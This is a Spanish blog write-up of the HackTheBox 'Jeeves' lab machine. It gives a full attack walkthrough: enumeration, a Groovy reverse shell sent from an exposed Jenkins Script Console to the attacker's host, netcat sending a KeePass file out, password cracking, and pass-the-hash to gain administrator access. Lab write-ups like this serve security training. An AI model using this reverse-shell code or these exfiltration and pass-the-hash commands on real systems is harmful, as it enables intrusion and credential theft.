Saltar al contenido

HackTheBox – Jeeves – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Jeeves de Hack the Box. Es una máquina Windows de nivel medio basada en jenkins pero muy sencilla de resolver.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --open --min-rate 5000 10.10.10.63

En la máquina hay cuatro puertos abiertos. Escaneo los cuatro puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,135,445,50000 -sC -sV 10.10.10.63
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-05 20:09 CET
Nmap scan report for 10.10.10.63
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h15m16s, deviation: 0s, median: 4h15m15s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-01-05T23:24:31
|_  start_date: 2022-01-05T23:21:32

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.25 seconds

HTTP

Puerto 80

Accedo a la web por el navegador y me aparece una consola de búsqueda.

Después de probar varias opciones veo que siempre me muestra la misma pantalla de error de servidor, así que leo el código fuente y veo que la consola está cargando una imagen a la que redirige siempre.

Puerto 50000

Accedo al puerto 50000 por el navegador y veo un mensaje de error 404.

Hago un fuzzing de directorios con gobuster y encuentro uno llamado /askjeeves.

gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Accedo a la ruta y llego a una pantalla del servidor Jenkins (servidor de automatización gratuito y de código abierto) en el que parece que ya tengo los privilegios de administrador.

Explotación

Como Jenkins se utiliza para integrar código, tiene su propia consola desde la que ejecutar código. Para llegar a ella, solo tengo que dirigirme a la ruta Manage Jenkins > Script Console.

Sabiendo que la máquina victima es Windows, ejecuto un whoami a través de cmd.exe y me devuelve como respuesta el usuario kohsuke. El código a ejecutar se puede escribir de muchas formas.

def cmd = "cmd.exe /c whoami".execute()
println("${cmd.text}")

Pudiendo ejecutar comandos en la máquina víctima, el siguiente paso es conseguir una shell reversa. Podría hacer que cargase un binario que yo ponga en línea pero también puedo conseguirla mediante comandos Groovy.

Pongo un netcat a la escucha, en mi máquina atacante, por el puerto 7897 y ejecuto el siguiente código en la consola de Jenkins, consiguiendo una shell reversa.

String host="10.10.14.3";
int port=7897;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

La flag de usuario la encuentro en la ruta C:\Users\kohsuke\Desktop\user.txt.

Escalada de Privilegios

Esta máquina tiene dos vías para la escalada de privilegios. Una a través de un fichero de KeePass (gestor de contraseñas) y otro a través del SeImpersonatePrivilege.

KeePass

En la ruta C:\Users\kohsuke\Documents encuentro un fichero llamado CEH.kdbx.

Después de probar varios métodos, solo encontré uno que permitiese descargarse el fichero sin corromperlo.

Primero tengo que subir un binario de netcat para windows, el que va por defecto en kali me sirve (/usr/share/windows-binaries/nc.exe), y luego subirlo a la máquina víctima compartiendo un servidor de samba.

Creo el servidor de samba en mi máquina.

sudo impacket-smbserver -smb2support evil .

Descargo el binario en la máquina víctima.

copy \\10.10.14.3\evil\nc.exe nc.exe

Ahora transfiero el binario de KeePass. Primero indico en mi máquina el fichero que voy a descargar.

nc -nlvp 8888 > CEH.kdbx

Y por último, desde la máquina víctima, indico a donde tiene que enviar el fichero.

$ nc.exe 10.10.14.3 8888 -w 3 < CEH.kdbx

Para averiguar la contraseña del fichero primero tengo que calcular su hash con keepas2john y luego rompo el hash con John the Ripper y el diccionario rockyou.txt.

$ keepass2john CEH.kdbx
$ keepass2john CEH.kdbx > hash
$ john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt hash

Como puedo ver en la imagen anterior, la contraseña es moonshine1.

Abro el fichero y encuentro varias credenciales. La mayoría no son de utilidad pero la de Backup stuff si me sirve.

Al copiar la contraseña y verla completa, lo primero que pienso es que se trata de un hash NTLM y podría utilizarlo para hacer un pass-the-hash.

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

El único problema es que no conozco el usuario y si verdaderamente este hash se encuentra en la máquina. Como smb está activo en la máquina, voy a utilizar crackmapexec para comprobar si este hash es válido.

crackmapexec smb 10.10.10.63
crackmapexec smb 10.10.10.63 -u administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Al aparecer Pwn3d!, significa que este hash me vale para autenticarme con el usuario administrator del sistema.

Consigo una consola de cmd de la máquina víctima con el binario pth-winexe (va por defecto en kali pero se puede descargar aquí).

pth-winexe --user=administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe

Me dirijo al escritorio del administrador (C:\Users\Administrator\Desktop) y encuentro un fichero en texto plano llamado hm.txt que, al abrirlo, me dice que busque la flag mas en profundidad.

cd C:\Users\Administrator\Desktop
dir
type hm.txt

Vuelvo a enumerar el contenido del directorio pero mostrando los ADS (alternative Data Streams), algo similar al strings de unix, y veo otro fichero con el mismo prefijo (hm.txt) pero con el sufijo root.txt, que es un stream de tipo $DATA y pesa un poco menos que hm.txt. Abro el nuevo fichero y encuentro la flag de root.

$ dir /r
$ more < hm.txt:root.txt:$DATA

SeImpersonatePrivilege

Enumero los privilegios de mi usuario y veo que aparece SeImpersonatePrivilege como Enabled.

whoami /priv

Este método ya lo he utilizado en las máquinas Grandpa, Granny, Bart, Conceal y Tally así que no lo voy a desarrollar en esta máquina.

Publicado enCTFHTBOSCPwindows